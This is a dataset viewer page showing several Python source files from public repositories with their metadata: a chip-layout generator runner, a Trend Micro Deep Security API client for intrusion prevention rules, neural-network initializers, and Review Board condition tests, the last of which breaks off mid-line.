xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

7f192bbcfb0c0caa454be2968c2d28896e3af004

231

py

Python

lab/__init__.py

vidhiJain/lab

43a3eb2aa3121b226c849690e636dcd4c04a49cf

[ "MIT" ]

null

lab/__init__.py

vidhiJain/lab

43a3eb2aa3121b226c849690e636dcd4c04a49cf

[ "MIT" ]

null

lab/__init__.py

vidhiJain/lab

43a3eb2aa3121b226c849690e636dcd4c04a49cf

[ "MIT" ]

1

2020-10-02T01:46:45.000Z

from pathlib import PurePath from lab.internal.lab import lab_singleton as _internal def get_data_path() -> PurePath: return _internal().data_path def get_experiments_path() -> PurePath: return _internal().experiments

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0

7

6195eb5226f5851ba579ab951236a8778353fb96

1,562

py

Python

laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_fullstack_generator.py

tinapiao/Software-IC-Automation

74b23cd94aa6e4658b110e93b5deb635e014f3a6

[ "BSD-3-Clause" ]

26

2017-07-07T08:06:31.000Z

2021-11-25T06:41:24.000Z

laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_fullstack_generator.py

tinapiao/Software-IC-Automation

74b23cd94aa6e4658b110e93b5deb635e014f3a6

[ "BSD-3-Clause" ]

9

2016-12-28T03:08:29.000Z

2019-01-30T16:00:28.000Z

laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_fullstack_generator.py

tinapiao/Software-IC-Automation

74b23cd94aa6e4658b110e93b5deb635e014f3a6

[ "BSD-3-Clause" ]

10

2018-07-14T01:31:28.000Z

2021-08-21T10:18:30.000Z

def execfile(filepath, globals=None, locals=None): if globals is None: globals = {} globals.update({ "__file__": filepath, "__name__": "__main__", }) import os with open(filepath, 'rb') as file: exec(compile(file.read(), filepath, 'exec'), globals, locals) files=[ #'laygo/generators/adc_sar/adc_sar_sarret_wckbuf_size.py', #'laygo/generators/adc_sar/adc_sar_sarlogic_wret_array_size.py', #'laygo/generators/adc_sar/adc_sar_sarfsm_size.py', #'laygo/generators/adc_sar/adc_sar_sarclkgen_static_size.py', 'laygo/generators/adc_sar/adc_sar_sarfsm_layout_generator.py', 'laygo/generators/adc_sar/adc_sar_sarlogic_wret_layout_generator.py', 'laygo/generators/adc_sar/adc_sar_sarlogic_wret_array_layout_generator.py', 'laygo/generators/adc_sar/adc_sar_sarclkdelay_layout_generator.py', 'laygo/generators/adc_sar/adc_sar_sarclkgen_core_static2_layout_generator.py', 'laygo/generators/adc_sar/adc_sar_sarclkgen_static_layout_generator.py', 'laygo/generators/adc_sar/adc_sar_sarret_wckbuf_layout_generator.py', 'laygo/generators/adc_sar/adc_sar_space_layout_generator.py', 'laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_layout_generator.py', 'laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_schematic_generator.py', 'laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_lvs.py', #'laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_extract.py', #'laygo/generators/adc_sar/adc_sar_sarabe_dualdelay_verify.py', ] for f in files: execfile(f)

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8

61b9bcf52749bd8251d7031883060c1cf7288fd1

28,602

py

Python

source/deepsecurity/api/policy_intrusion_prevention_rule_details_api.py

felipecosta09/cloudone-workload-controltower-lifecycle

7927c84d164058b034fc872701b5ee117641f4d1

[ "Apache-2.0" ]

1

2021-10-30T16:40:09.000Z

source/deepsecurity/api/policy_intrusion_prevention_rule_details_api.py

felipecosta09/cloudone-workload-controltower-lifecycle

7927c84d164058b034fc872701b5ee117641f4d1

[ "Apache-2.0" ]

1

2021-07-28T20:19:03.000Z

source/deepsecurity/api/policy_intrusion_prevention_rule_details_api.py

felipecosta09/cloudone-workload-controltower-lifecycle

7927c84d164058b034fc872701b5ee117641f4d1

[ "Apache-2.0" ]

1

2021-10-30T16:40:02.000Z

# coding: utf-8 """ Trend Micro Deep Security API Copyright 2018 - 2020 Trend Micro Incorporated.<br/>Get protected, stay secured, and keep informed with Trend Micro Deep Security's new RESTful API. Access system data and manage security configurations to automate your security workflows and integrate Deep Security into your CI/CD pipeline. # noqa: E501 OpenAPI spec version: 12.5.841 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from deepsecurity.api_client import ApiClient class PolicyIntrusionPreventionRuleDetailsApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def describe_intrusion_prevention_rule_on_policy(self, policy_id, intrusion_prevention_rule_id, api_version, **kwargs): # noqa: E501 """Describe an intrusion prevention rule # noqa: E501 Describe an intrusion prevention rule including policy-level overrides. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.describe_intrusion_prevention_rule_on_policy(policy_id, intrusion_prevention_rule_id, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int policy_id: The ID number of the policy. (required) :param int intrusion_prevention_rule_id: The ID number of the intrusion prevention rule. (required) :param str api_version: The version of the api being called. (required) :param bool overrides: Show only overrides defined for the current policy. :return: IntrusionPreventionRule If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.describe_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, api_version, **kwargs) # noqa: E501 else: (data) = self.describe_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, api_version, **kwargs) # noqa: E501 return data def describe_intrusion_prevention_rule_on_policy_with_http_info(self, policy_id, intrusion_prevention_rule_id, api_version, **kwargs): # noqa: E501 """Describe an intrusion prevention rule # noqa: E501 Describe an intrusion prevention rule including policy-level overrides. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.describe_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int policy_id: The ID number of the policy. (required) :param int intrusion_prevention_rule_id: The ID number of the intrusion prevention rule. (required) :param str api_version: The version of the api being called. (required) :param bool overrides: Show only overrides defined for the current policy. :return: IntrusionPreventionRule If the method is called asynchronously, returns the request thread. """ all_params = ['policy_id', 'intrusion_prevention_rule_id', 'api_version', 'overrides'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method describe_intrusion_prevention_rule_on_policy" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'policy_id' is set if ('policy_id' not in params or params['policy_id'] is None): raise ValueError("Missing the required parameter `policy_id` when calling `describe_intrusion_prevention_rule_on_policy`") # noqa: E501 # verify the required parameter 'intrusion_prevention_rule_id' is set if ('intrusion_prevention_rule_id' not in params or params['intrusion_prevention_rule_id'] is None): raise ValueError("Missing the required parameter `intrusion_prevention_rule_id` when calling `describe_intrusion_prevention_rule_on_policy`") # noqa: E501 # verify the required parameter 'api_version' is set if ('api_version' not in params or params['api_version'] is None): raise ValueError("Missing the required parameter `api_version` when calling `describe_intrusion_prevention_rule_on_policy`") # noqa: E501 if 'policy_id' in params and not re.search('\\d+', str(params['policy_id'])): # noqa: E501 raise ValueError("Invalid value for parameter `policy_id` when calling `describe_intrusion_prevention_rule_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501 if 'intrusion_prevention_rule_id' in params and not re.search('\\d+', str(params['intrusion_prevention_rule_id'])): # noqa: E501 raise ValueError("Invalid value for parameter `intrusion_prevention_rule_id` when calling `describe_intrusion_prevention_rule_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501 collection_formats = {} path_params = {} if 'policy_id' in params: path_params['policyID'] = params['policy_id'] # noqa: E501 if 'intrusion_prevention_rule_id' in params: path_params['intrusionPreventionRuleID'] = params['intrusion_prevention_rule_id'] # noqa: E501 query_params = [] if 'overrides' in params: query_params.append(('overrides', params['overrides'])) # noqa: E501 header_params = {} if 'api_version' in params: header_params['api-version'] = params['api_version'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['DefaultAuthentication'] # noqa: E501 return self.api_client.call_api( '/policies/{policyID}/intrusionprevention/rules/{intrusionPreventionRuleID}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='IntrusionPreventionRule', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def list_intrusion_prevention_rules_on_policy(self, policy_id, api_version, **kwargs): # noqa: E501 """List intrusion prevention rules # noqa: E501 Lists all intrusion prevention rules assigned to a policy. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_intrusion_prevention_rules_on_policy(policy_id, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int policy_id: The ID number of the policy. (required) :param str api_version: The version of the api being called. (required) :param bool overrides: Show only rules assigned to the current policy. :return: IntrusionPreventionRules If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.list_intrusion_prevention_rules_on_policy_with_http_info(policy_id, api_version, **kwargs) # noqa: E501 else: (data) = self.list_intrusion_prevention_rules_on_policy_with_http_info(policy_id, api_version, **kwargs) # noqa: E501 return data def list_intrusion_prevention_rules_on_policy_with_http_info(self, policy_id, api_version, **kwargs): # noqa: E501 """List intrusion prevention rules # noqa: E501 Lists all intrusion prevention rules assigned to a policy. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_intrusion_prevention_rules_on_policy_with_http_info(policy_id, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int policy_id: The ID number of the policy. (required) :param str api_version: The version of the api being called. (required) :param bool overrides: Show only rules assigned to the current policy. :return: IntrusionPreventionRules If the method is called asynchronously, returns the request thread. """ all_params = ['policy_id', 'api_version', 'overrides'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_intrusion_prevention_rules_on_policy" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'policy_id' is set if ('policy_id' not in params or params['policy_id'] is None): raise ValueError("Missing the required parameter `policy_id` when calling `list_intrusion_prevention_rules_on_policy`") # noqa: E501 # verify the required parameter 'api_version' is set if ('api_version' not in params or params['api_version'] is None): raise ValueError("Missing the required parameter `api_version` when calling `list_intrusion_prevention_rules_on_policy`") # noqa: E501 if 'policy_id' in params and not re.search('\\d+', str(params['policy_id'])): # noqa: E501 raise ValueError("Invalid value for parameter `policy_id` when calling `list_intrusion_prevention_rules_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501 collection_formats = {} path_params = {} if 'policy_id' in params: path_params['policyID'] = params['policy_id'] # noqa: E501 query_params = [] if 'overrides' in params: query_params.append(('overrides', params['overrides'])) # noqa: E501 header_params = {} if 'api_version' in params: header_params['api-version'] = params['api_version'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['DefaultAuthentication'] # noqa: E501 return self.api_client.call_api( '/policies/{policyID}/intrusionprevention/rules', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='IntrusionPreventionRules', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def modify_intrusion_prevention_rule_on_policy(self, policy_id, intrusion_prevention_rule_id, intrusion_prevention_rule, api_version, **kwargs): # noqa: E501 """Modify an intrusion prevention rule # noqa: E501 Modify an intrusion prevention rule assigned to a policy. Any unset elements will be left unchanged. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.modify_intrusion_prevention_rule_on_policy(policy_id, intrusion_prevention_rule_id, intrusion_prevention_rule, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int policy_id: The ID number of the policy. (required) :param int intrusion_prevention_rule_id: The ID number of the intrusion prevention rule to modify. (required) :param IntrusionPreventionRule intrusion_prevention_rule: The settings of the intrusion prevention rule to modify. (required) :param str api_version: The version of the api being called. (required) :param bool overrides: Show only overrides defined for the current policy. :return: IntrusionPreventionRule If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.modify_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, intrusion_prevention_rule, api_version, **kwargs) # noqa: E501 else: (data) = self.modify_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, intrusion_prevention_rule, api_version, **kwargs) # noqa: E501 return data def modify_intrusion_prevention_rule_on_policy_with_http_info(self, policy_id, intrusion_prevention_rule_id, intrusion_prevention_rule, api_version, **kwargs): # noqa: E501 """Modify an intrusion prevention rule # noqa: E501 Modify an intrusion prevention rule assigned to a policy. Any unset elements will be left unchanged. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.modify_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, intrusion_prevention_rule, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int policy_id: The ID number of the policy. (required) :param int intrusion_prevention_rule_id: The ID number of the intrusion prevention rule to modify. (required) :param IntrusionPreventionRule intrusion_prevention_rule: The settings of the intrusion prevention rule to modify. (required) :param str api_version: The version of the api being called. (required) :param bool overrides: Show only overrides defined for the current policy. :return: IntrusionPreventionRule If the method is called asynchronously, returns the request thread. """ all_params = ['policy_id', 'intrusion_prevention_rule_id', 'intrusion_prevention_rule', 'api_version', 'overrides'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method modify_intrusion_prevention_rule_on_policy" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'policy_id' is set if ('policy_id' not in params or params['policy_id'] is None): raise ValueError("Missing the required parameter `policy_id` when calling `modify_intrusion_prevention_rule_on_policy`") # noqa: E501 # verify the required parameter 'intrusion_prevention_rule_id' is set if ('intrusion_prevention_rule_id' not in params or params['intrusion_prevention_rule_id'] is None): raise ValueError("Missing the required parameter `intrusion_prevention_rule_id` when calling `modify_intrusion_prevention_rule_on_policy`") # noqa: E501 # verify the required parameter 'intrusion_prevention_rule' is set if ('intrusion_prevention_rule' not in params or params['intrusion_prevention_rule'] is None): raise ValueError("Missing the required parameter `intrusion_prevention_rule` when calling `modify_intrusion_prevention_rule_on_policy`") # noqa: E501 # verify the required parameter 'api_version' is set if ('api_version' not in params or params['api_version'] is None): raise ValueError("Missing the required parameter `api_version` when calling `modify_intrusion_prevention_rule_on_policy`") # noqa: E501 if 'policy_id' in params and not re.search('\\d+', str(params['policy_id'])): # noqa: E501 raise ValueError("Invalid value for parameter `policy_id` when calling `modify_intrusion_prevention_rule_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501 if 'intrusion_prevention_rule_id' in params and not re.search('\\d+', str(params['intrusion_prevention_rule_id'])): # noqa: E501 raise ValueError("Invalid value for parameter `intrusion_prevention_rule_id` when calling `modify_intrusion_prevention_rule_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501 collection_formats = {} path_params = {} if 'policy_id' in params: path_params['policyID'] = params['policy_id'] # noqa: E501 if 'intrusion_prevention_rule_id' in params: path_params['intrusionPreventionRuleID'] = params['intrusion_prevention_rule_id'] # noqa: E501 query_params = [] if 'overrides' in params: query_params.append(('overrides', params['overrides'])) # noqa: E501 header_params = {} if 'api_version' in params: header_params['api-version'] = params['api_version'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'intrusion_prevention_rule' in params: body_params = params['intrusion_prevention_rule'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['DefaultAuthentication'] # noqa: E501 return self.api_client.call_api( '/policies/{policyID}/intrusionprevention/rules/{intrusionPreventionRuleID}', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='IntrusionPreventionRule', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def reset_intrusion_prevention_rule_on_policy(self, policy_id, intrusion_prevention_rule_id, api_version, **kwargs): # noqa: E501 """Reset intrusion prevention rule overrides # noqa: E501 Remove all overrides for an intrusion prevention rule from a policy. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.reset_intrusion_prevention_rule_on_policy(policy_id, intrusion_prevention_rule_id, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int policy_id: The ID number of the policy. (required) :param int intrusion_prevention_rule_id: The ID number of the intrusion prevention rule to reset. (required) :param str api_version: The version of the api being called. (required) :param bool overrides: Show only overrides defined for the current policy. :return: IntrusionPreventionRule If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.reset_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, api_version, **kwargs) # noqa: E501 else: (data) = self.reset_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, api_version, **kwargs) # noqa: E501 return data def reset_intrusion_prevention_rule_on_policy_with_http_info(self, policy_id, intrusion_prevention_rule_id, api_version, **kwargs): # noqa: E501 """Reset intrusion prevention rule overrides # noqa: E501 Remove all overrides for an intrusion prevention rule from a policy. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.reset_intrusion_prevention_rule_on_policy_with_http_info(policy_id, intrusion_prevention_rule_id, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int policy_id: The ID number of the policy. (required) :param int intrusion_prevention_rule_id: The ID number of the intrusion prevention rule to reset. (required) :param str api_version: The version of the api being called. (required) :param bool overrides: Show only overrides defined for the current policy. :return: IntrusionPreventionRule If the method is called asynchronously, returns the request thread. """ all_params = ['policy_id', 'intrusion_prevention_rule_id', 'api_version', 'overrides'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method reset_intrusion_prevention_rule_on_policy" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'policy_id' is set if ('policy_id' not in params or params['policy_id'] is None): raise ValueError("Missing the required parameter `policy_id` when calling `reset_intrusion_prevention_rule_on_policy`") # noqa: E501 # verify the required parameter 'intrusion_prevention_rule_id' is set if ('intrusion_prevention_rule_id' not in params or params['intrusion_prevention_rule_id'] is None): raise ValueError("Missing the required parameter `intrusion_prevention_rule_id` when calling `reset_intrusion_prevention_rule_on_policy`") # noqa: E501 # verify the required parameter 'api_version' is set if ('api_version' not in params or params['api_version'] is None): raise ValueError("Missing the required parameter `api_version` when calling `reset_intrusion_prevention_rule_on_policy`") # noqa: E501 if 'policy_id' in params and not re.search('\\d+', str(params['policy_id'])): # noqa: E501 raise ValueError("Invalid value for parameter `policy_id` when calling `reset_intrusion_prevention_rule_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501 if 'intrusion_prevention_rule_id' in params and not re.search('\\d+', str(params['intrusion_prevention_rule_id'])): # noqa: E501 raise ValueError("Invalid value for parameter `intrusion_prevention_rule_id` when calling `reset_intrusion_prevention_rule_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501 collection_formats = {} path_params = {} if 'policy_id' in params: path_params['policyID'] = params['policy_id'] # noqa: E501 if 'intrusion_prevention_rule_id' in params: path_params['intrusionPreventionRuleID'] = params['intrusion_prevention_rule_id'] # noqa: E501 query_params = [] if 'overrides' in params: query_params.append(('overrides', params['overrides'])) # noqa: E501 header_params = {} if 'api_version' in params: header_params['api-version'] = params['api_version'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['DefaultAuthentication'] # noqa: E501 return self.api_client.call_api( '/policies/{policyID}/intrusionprevention/rules/{intrusionPreventionRuleID}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='IntrusionPreventionRule', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

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0.661562

3,387

28,602

5.307352

0.063183

0.147975

0.161215

0.0751

0.956664

0.952381

0.944927

0.941422

0.936526

0

0.01479

0.257744

28,602

524

312

54.583969

0.831936

0.335921

0

0.780488

0

0.316468

0.156392

0

1

0.031359

false

0

0.013937

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0.090592

0

null

0

1

0

1

0

null

0

7

61c0e7b1dfd9f12efe00b70b7e0544377cfe3963

733

py

Python

nnfs/initializers.py

tblut/NNFS

75320c546043bc74f368a7a6edcd8bb70aa90dc4

[ "MIT" ]

null

nnfs/initializers.py

tblut/NNFS

75320c546043bc74f368a7a6edcd8bb70aa90dc4

[ "MIT" ]

null

nnfs/initializers.py

tblut/NNFS

75320c546043bc74f368a7a6edcd8bb70aa90dc4

[ "MIT" ]

null

import numpy as np def zeros(n_inputs, n_outputs): return np.zeros((n_inputs, n_outputs)) def ones(n_inputs, n_outputs): return np.ones((n_inputs, n_outputs)) def glorot_uniform(n_inputs, n_outputs): x = np.sqrt(6.0 / (n_inputs + n_outputs)) return np.random.uniform(-x, x, (n_inputs, n_outputs)) def glorot_normal(n_inputs, n_outputs): std = np.sqrt(2.0 / (n_inputs + n_outputs)) return np.random.normal(0.0, std, (n_inputs, n_outputs)) def he_uniform(n_inputs, n_outputs): x = np.sqrt(6.0 / n_inputs) return np.random.uniform(-x, x, (n_inputs, n_outputs)) def he_normal(n_inputs, n_outputs): std = np.sqrt(2.0 / n_inputs) return np.random.normal(0.0, std, (n_inputs, n_outputs))

24.433333

60

0.686221

132

733

3.55303

0.166667

0.238806

0.447761

0.96162

0.884861

0.707889

0.673774

0

0.019704

0.169168

733

29

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0.750411

0

0.235294

0

1

0.352941

false

0

0.058824

0.117647

0.764706

0

null

1

0

1

0

null

0

1

0

1

0

11

61c528bc66bdb157d79650c97142881cd091ebdf

47,501

py

Python

reviewboard/reviews/tests/test_conditions.py

pombredanne/reviewboard

15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d

[ "MIT" ]

null

reviewboard/reviews/tests/test_conditions.py

pombredanne/reviewboard

15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d

[ "MIT" ]

null

reviewboard/reviews/tests/test_conditions.py

pombredanne/reviewboard

15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d

[ "MIT" ]

null

import re from django.contrib.auth.models import User from django.test.client import RequestFactory from djblets.conditions import ConditionSet, Condition from reviewboard.reviews.conditions import (AnyReviewGroupsPublicOperator, AllReviewGroupsInviteOnlyOperator, ReviewGroupsChoice, ReviewRequestAllDiffFilesChoice, ReviewRequestAnyDiffFileChoice, ReviewRequestRepositoriesChoice, ReviewRequestRepositoryTypeChoice, ReviewRequestReviewGroupsChoice, ReviewRequestOwnerChoice, ReviewRequestReviewerChoice, ReviewRequestParticipantChoice) from reviewboard.reviews.models import Group from reviewboard.site.models import LocalSite from reviewboard.testing import TestCase class ReviewGroupOperatorTests(TestCase): """Unit tests for review group condition operators.""" def test_any_public_with_match(self): """Testing AnyReviewGroupsPublicOperator with match""" self.assertTrue(self._check_match( AnyReviewGroupsPublicOperator, [ self.create_review_group(name='group1', invite_only=False), self.create_review_group(name='group2', invite_only=True), ])) def test_any_public_without_match(self): """Testing AnyReviewGroupsPublicOperator without match""" self.create_review_group(name='group1', invite_only=False) private_group = self.create_review_group(name='group2', invite_only=True) self.assertFalse(self._check_match( AnyReviewGroupsPublicOperator, [private_group])) self.assertFalse(self._check_match( AnyReviewGroupsPublicOperator, [])) def test_all_invite_only_with_match(self): """Testing AllReviewGroupsInviteOnlyOperator with match""" self.assertTrue(self._check_match( AllReviewGroupsInviteOnlyOperator, [ self.create_review_group(name='group1', invite_only=True), self.create_review_group(name='group2', invite_only=True), ])) def test_all_invite_only_without_match(self): """Testing AllReviewGroupsInviteOnlyOperator without match""" group1 = self.create_review_group(name='group1', invite_only=False) group2 = self.create_review_group(name='group2', invite_only=True) self.assertFalse(self._check_match( AllReviewGroupsInviteOnlyOperator, [group1, group2])) self.assertFalse(self._check_match( AllReviewGroupsInviteOnlyOperator, [])) def _check_match(self, op_cls, match_value, condition_value=None): op = op_cls(None) return op.matches(match_value=match_value, condition_value=condition_value) class ReviewGroupsChoiceTests(TestCase): """Unit tests for reviewboard.reviews.conditions.ReviewGroupsChoice.""" def setUp(self): super(ReviewGroupsChoiceTests, self).setUp() self.request = RequestFactory().request() self.request.user = User.objects.create(username='test-user') self.choice = ReviewGroupsChoice(request=self.request) def test_get_queryset(self): """Testing ReviewGroupsChoice.get_queryset""" # These should match. group1 = self.create_review_group(name='group1') group2 = self.create_review_group(name='group2') # These should not match. self.create_review_group(name='group3', visible=False) self.assertQuerysetEqual( self.choice.get_queryset(), [group1.pk, group2.pk], transform=lambda group: group.pk) def test_get_queryset_with_local_site(self): """Testing ReviewGroupsChoice.get_queryset with LocalSite""" good_site = LocalSite.objects.create(name='good-site') bad_site = LocalSite.objects.create(name='bad-site') # These should match. group1 = self.create_review_group(name='group1', local_site=good_site) group2 = self.create_review_group(name='group2', local_site=good_site) # These should not match. self.create_review_group(name='group3') self.create_review_group(name='group4', local_site=bad_site) self.create_review_group(name='group5', local_site=good_site, visible=False) self.choice.extra_state['local_site'] = good_site self.assertQuerysetEqual( self.choice.get_queryset(), [group1.pk, group2.pk], transform=lambda group: group.pk) def test_get_queryset_with_matching(self): """Testing ReviewGroupsChoice.get_queryset with matching=True""" local_site = LocalSite.objects.create(name='site1') # These should match. group1 = self.create_review_group(name='group1') group2 = self.create_review_group(name='group2') group3 = self.create_review_group(name='group3', visible=False) group4 = self.create_review_group(name='group4', invite_only=True) # These should not match. self.create_review_group(name='group5', visible=False, local_site=local_site) self.choice.extra_state.update({ 'local_site': None, 'matching': True, }) self.assertQuerysetEqual( self.choice.get_queryset(), [group1.pk, group2.pk, group3.pk, group4.pk], transform=lambda group: group.pk) def test_get_queryset_with_matching_and_local_site(self): """Testing ReviewGroupsChoice.get_queryset with matching=True and LocalSite """ good_site = LocalSite.objects.create(name='good-site') bad_site = LocalSite.objects.create(name='bad-site') # These should match. group1 = self.create_review_group(name='group1', local_site=good_site) group2 = self.create_review_group(name='group2', local_site=good_site) group3 = self.create_review_group(name='group3', local_site=good_site, visible=False) group4 = self.create_review_group(name='group4', local_site=good_site, invite_only=True) # These should not match. self.create_review_group(name='group5') self.create_review_group(name='group6', local_site=bad_site) self.choice.extra_state.update({ 'local_site': good_site, 'matching': True, }) self.assertQuerysetEqual( self.choice.get_queryset(), [group1.pk, group2.pk, group3.pk, group4.pk], transform=lambda group: group.pk) def test_matches_with_any_op(self): """Testing ReviewGroupsChoice.matches with "any" operator""" self.create_review_group(name='group1', invite_only=False) self.create_review_group(name='group2', invite_only=True) condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('any')), ]) self.assertTrue(condition_set.matches( review_groups=Group.objects.all())) self.assertFalse(condition_set.matches( review_groups=Group.objects.none())) def test_matches_with_none_op(self): """Testing ReviewGroupsChoice.matches with "none" operator""" self.create_review_group(name='group1') condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('none')), ]) self.assertTrue(condition_set.matches( review_groups=Group.objects.none())) self.assertFalse(condition_set.matches( review_groups=Group.objects.all())) def test_matches_with_contains_any_op(self): """Testing ReviewGroupsChoice.matches with "contains-any" operator""" group1 = self.create_review_group(name='group1') group2 = self.create_review_group(name='group2') group3 = self.create_review_group(name='group3') condition_set = ConditionSet(ConditionSet.MODE_ALL, [ Condition(self.choice, self.choice.get_operator('contains-any'), [group1, group2]) ]) self.assertTrue(condition_set.matches( review_groups=Group.objects.filter(pk=group1.pk))) self.assertFalse(condition_set.matches( review_groups=Group.objects.filter(pk=group3.pk))) self.assertFalse(condition_set.matches( review_groups=Group.objects.none())) def test_matches_with_does_not_contain_any_op(self): """Testing ReviewGroupsChoice.matches with "does-not-contain-any" operator """ group1 = 